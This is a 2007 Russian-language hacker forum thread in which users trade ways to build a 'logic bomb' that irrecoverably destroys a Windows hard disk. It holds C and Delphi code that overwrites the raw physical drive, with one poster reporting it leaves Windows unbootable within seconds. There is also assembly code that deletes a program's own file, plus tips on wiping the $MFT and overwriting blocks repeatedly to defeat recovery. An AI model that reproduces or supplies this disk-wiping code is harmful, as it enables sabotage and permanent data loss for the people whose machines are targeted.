Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

16.06.2007, 22:28
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Windows , HDD и NTFS
Пытаюсь написать так называемую логическую бомбу  Смысл в том чтобы часть поверхности жесткого диска с виндой покрыть нолями первое что пришло в голову было это:
Код:
char buffer[512];
HANDLE fisdrive,f;
DWORD num;int a;
drive=CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL);
for(;;)
{
for(int b=0;b<5;b++)
{
memset(buffer,0,512);
SetFilePointer(drive,512*a,NULL,FILE_BEGIN);
WriteFile(drive,buffer,512,&num,NULL);
}
a=a+1000;
}
Эксперементировал на вмваре .К сожалению виндовс загрузился и чекдиск все пофиксил  .У кого нибудь есь идеи как уничтожить инфу на жестком диске?Возможно можно вычислить область где хранится резервная FAT таблица?
|
|
|

16.06.2007, 22:43
|
|
Banned
Регистрация: 06.01.2007
Сообщений: 14
Провел на форуме: 59659
Репутация:
-13
|
|
.data
szBatchFile2 db ":k",13,10,"del %1",13,10,"if exist %1 goto k",13,10,"del %0",0
szBatchName2 db "a.bat",0
.code
DoSelfDelete proc
LOCAL hFile: DWORD
LOCAL bWritten: DWORD
invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH
invoke lstrcpy, offset lpBuf1, offset lpBuf2
lea eax, lpBuf2
xor edx, edx
@loop:
cmp byte ptr[eax], '\'
jne @next
mov edx, eax
@next:
inc eax
cmp byte ptr[eax], 0
jnz @loop
inc edx
mov byte ptr[edx], 0
invoke lstrcat, offset lpBuf2, offset szBatchName2
invoke CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
mov hFile, eax
inc eax
jz @end
invoke lstrlen, offset szBatchFile2
mov edx, eax
invoke WriteFile, hFile, offset szBatchFile2, edx, addr bWritten, NULL
invoke CloseHandle, hFile
szText SelfDelQuoteFmt2, '"%s"'
invoke wsprintf, offset lpBuf3, addr SelfDelQuoteFmt2, offset lpBuf1
xor eax, eax
push SW_HIDE
push eax
push offset lpBuf3
push offset lpBuf2
push offset szTextOpen
push eax
call ShellExecute
@end:
ret
DoSelfDelete end
этот код из хинча!форматирует диск может поможет тебе !
обьясняю тебе структуру винта в самом начале храниться зсгрусчик(если это активный диск я думаю) после этого таблица фаилов(FAT) после этого корневой католок уже тлько после него данные!
если ты убьешь ФАТ то востановить данные не составить труда а вот если убить и фат и данные то будет кул! 
Последний раз редактировалось Metal; 16.06.2007 в 22:47..
|
|
|

16.06.2007, 22:48
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
Metal, я так понял, _nic'y не на асме нужен
|
|
|

16.06.2007, 23:11
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Да асмом я не владею.И ещё допустим удастся основную фат убить но насколько я знаю нтфс имеет резервную копию фат таблицы как с ней поступить?
|
|
|

16.06.2007, 23:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
2 _nic я вот юзал вот этот код:
Он хоть и почти как твой, но всёже при тестах на виртуалке, уже после 10-20 секунд работы винда вообще немогла одуплится. т.е. негрузилась даже.
Код начинает с самого начала забивать винт рожицей.
Когда дохидит до файла подкачки(моё предположение), то винда вылетает в BSoD
Если этот код запускается при загрузки системы. т.е. вмантирован в сервис.
по просто винда долго грузится долговато,а потом вылетает в BSoD
Если этот код работает хотябы 5 секунд то врядли уже что можно восстановить виндовыми прогами.
Код:
procedure killHDD(fn:string);
var
f:thandle;
z,c:integer;
buf:pointer;
buf_len:integer;
label m2;
begin
buf_len:=1024*4;
getmem(buf,buf_len);
asm
push eax
push ecx
mov eax,buf
xor ecx,ecx
@m1:
mov [eax+ecx],01010101h
add ecx,4
cmp ecx,buf_len
jb @m1
pop ecx
pop eax
end;
m2:
f:=fileopen(fn,2);
if f=invalid_handle_value then exit;
repeat
writefile(f,buf^,buf_len,cardinal(z),nil);
if z=0 then
begin
closehandle(f);
buf_len:=buf_len-512;
if buf_len=0 then exit;
goto m2;
end;
until 1=0;
end;
юзать код так:
killHDD('\\.\PhysicalDrive0');
Последний раз редактировалось slesh; 16.06.2007 в 23:38..
|
|
|

16.06.2007, 23:35
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
ну если дело на то пошло, то в NTFS вместо FAT юзается системный файл с именем $MFT
вот если затереть его, то уже восстановить врядли удастся виндовыми утилитами.
Хотя EasyRecovery запросто найдет все файлы на винте. вот тока названия не будет у них.
|
|
|

17.06.2007, 01:16
|
|
Banned
Регистрация: 06.01.2007
Сообщений: 14
Провел на форуме: 59659
Репутация:
-13
|
|
моно и многоми другими прогами это все дело востановить!да а снозвание фаилов проблемы будут!но суть не в этом а в том что фаил мфс это и есть резервная копипая фат и краткого описания фаилов т.е. когда нехватает места на винте этот фаил урезаеться а фат ана и в африке фат и распологаться по идее должна сразу после загрузчика!(я так думаю) а вобще думаю что покрывать не вес винт 0 а ну допустим через блок или 2 блока... дело быстрей пойдет и фаилы толком не востановяться..... а что бы из никогда не востановить лучше каждый блок перезаписать 2-3 раза! 
|
|
|

17.06.2007, 10:22
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
ТС: Кстати зря ты каждый раз обнуляешь 512 байт одно и того же буфера. Тормоза будут.
|
|
|

17.06.2007, 19:20
|
|
Участник форума
Регистрация: 09.02.2004
Сообщений: 122
Провел на форуме: 1089794
Репутация:
134
|
|
Metal > тот сурс что ты дал производит самоудаление exe через bat файл, а никакое не форматирование!
|
|
|

17.06.2007, 20:28
|
|
Banned
Регистрация: 06.01.2007
Сообщений: 14
Провел на форуме: 59659
Репутация:
-13
|
|
яж написал что из ксинча выдрал.... кстаи проверерял норм работает!  а так все что знал про фат вроде написал...
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|